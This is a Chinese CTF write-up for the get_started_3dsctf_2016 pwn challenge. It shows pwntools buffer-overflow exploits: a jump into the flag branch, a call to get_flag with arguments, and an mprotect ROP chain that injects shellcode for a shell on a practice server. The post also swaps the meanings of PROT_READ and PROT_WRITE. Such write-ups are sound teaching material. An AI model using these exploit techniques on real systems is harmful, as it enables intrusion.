zoukankan      html  css  js  c++  java
  • get_started_3dsctf_2016

      就是这道题!被师傅们打到1分...然后我做的很吃力...

      先检查保护,32位程序,开启了堆栈不可执行。

      ida看一下main函数都干了些什么。

      可以看到main函数就是可以进行溢出,而且有一个可以get_flag的函数。虽然有一个if条件限制,但是我见其他人有这种做法,就是main函数溢出到返回地址的时候直接溢出到if条件判断里面,即使栈空间被破坏了,但是无所谓,已经输出flag了。

      就是箭头指的那里是一个跳转,这里就直接跳到下一行代码。  

      就是下面这个exp:

     1 from pwn import *
     2 q = process('./get_started_3dsctf_2016')
     3 context.log_level = 'debug'
     4 sleep(0.1)
     5 
     6 payload = 'a'*56
     7 payload += p32(0x080489B8)
     8 q.sendline(payload)
     9 sleep(0.1)
    10 q.recv()

      

      可以看到本地是可以打通的,但是远程打不通。这个方法就先到这里,一会儿咱们再说远程的问题。

      上面的exp是绕过了if判断,但是我们仔细看看if判断是判断什么。

      是判断调用这个函数时候的参数,那么我们可以不可以将返回地址溢出成带参数的呢?

      答案是可以的,大概就是这么布局:'a'*offset + 'ebp' + get_flag + get_flag的返回地址 + 参数1 + 参数2

      我们来看一下exp:

     1 from pwn import *
     2 #q = remote('node3.buuoj.cn',29645)
     3 q = process('./get_started_3dsctf_2016')
     4 context.log_level = 'debug'
     5 sleep(0.1)
     6 
     7 payload = 'a'*56
     8 payload += p32(0x080489A0) + p32(0x0804E6A0)
     9 payload += p32(0x308CD64F) + p32(0x195719D1)
    10 q.sendline(payload)
    11 sleep(0.1)
    12 q.recv()

      

      可以看到本地是可以打通的,我再试一下远程。

      

      可以看到远程也打通了,其实,仔细看我的exp,其他都好理解,就是一个地方。get_flag的返回地址,这个地址不能乱写,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出。

      C语言有个函数是exit,只要执行这个只要我们把get_flag的返回地址写成exit的地址,程序就可以结束并且有回显了。

      所以这样弄一下,远程就可以打通了。

      我刚开始也不会做的时候,我看了好多人的exp,发现有的师傅是通过给bss段赋可执行权限做的。

      在这里,我们也试着跟着师傅们的步伐,学习一下!

      有这么一个函数,mprotect,我们先来学习一下。

      int mprotect(const void *start, size_t len, int prot);

      第一个参数填的是一个地址,是指需要进行操作的地址。

      第二个参数是地址往后多大的长度。

      第三个参数的是要赋予的权限。

      mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

      嗯。。。还是上面这一句话讲的明白...

      prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

      1)PROT_READ:表示内存段内的内容可写;

      2)PROT_WRITE:表示内存段内的内容可读;

      3)PROT_EXEC:表示内存段中的内容可执行;

      4)PROT_NONE:表示内存段中的内容根本没法访问。

      prot=7 是可读可写可执行    #这个是个知识点。。。我是没找到出处,我唯一能想到的就是师傅在调试的过程发现第三个参数等于7是赋给的内存地址权限是可读可写可执行叭。

      需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

      就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。

      从这里找个地址就可以,我这里取0x80ea00这个地址,大小为0x1000

      我这里贴一下exp:

     1 from pwn import *
     2 q = remote('node3.buuoj.cn',29645)
     3 #q = process('./get_started_3dsctf_2016')
     4 context.log_level = 'debug'
     5 
     6 mprotect = 0x0806EC80
     7 buf = 0x80ea000
     8 pop_3_ret = 0x0804f460
     9 read_addr = 0x0806E140
    10 
    11 payload = 'a'*56
    12 payload += p32(mprotect)
    13 payload += p32(pop_3_ret)
    14 payload += p32(buf)
    15 payload += p32(0x1000)
    16 payload += p32(0x7)
    17 payload += p32(read_addr)
    18 payload += p32(buf)
    19 payload += p32(0)
    20 payload += p32(buf)
    21 payload += p32(0x100)
    22 q.sendline(payload)
    23 sleep(0.1)
    24 
    25 shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
    26 q.sendline(shellcode)
    27 sleep(0.1)
    28 q.interactive()

      这个exp是本地远程都可打的通的,直接拿到shell。

  • 相关阅读:
    python的with语句
    flask如何实现https以及自定义证书的制作
    flask及扩展源码解读
    加密的那些事
    SQLALchemy如何查询mysql某个区间内的数据
    集群设备之间的资源共享
    pycryptodom的源码安装
    github创建项目,并提交本地文件
    响应头里的"Last-Modified"值是怎么来的?
    SQL2005 数据库——查看索引
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12679290.html
Copyright © 2011-2022 走看看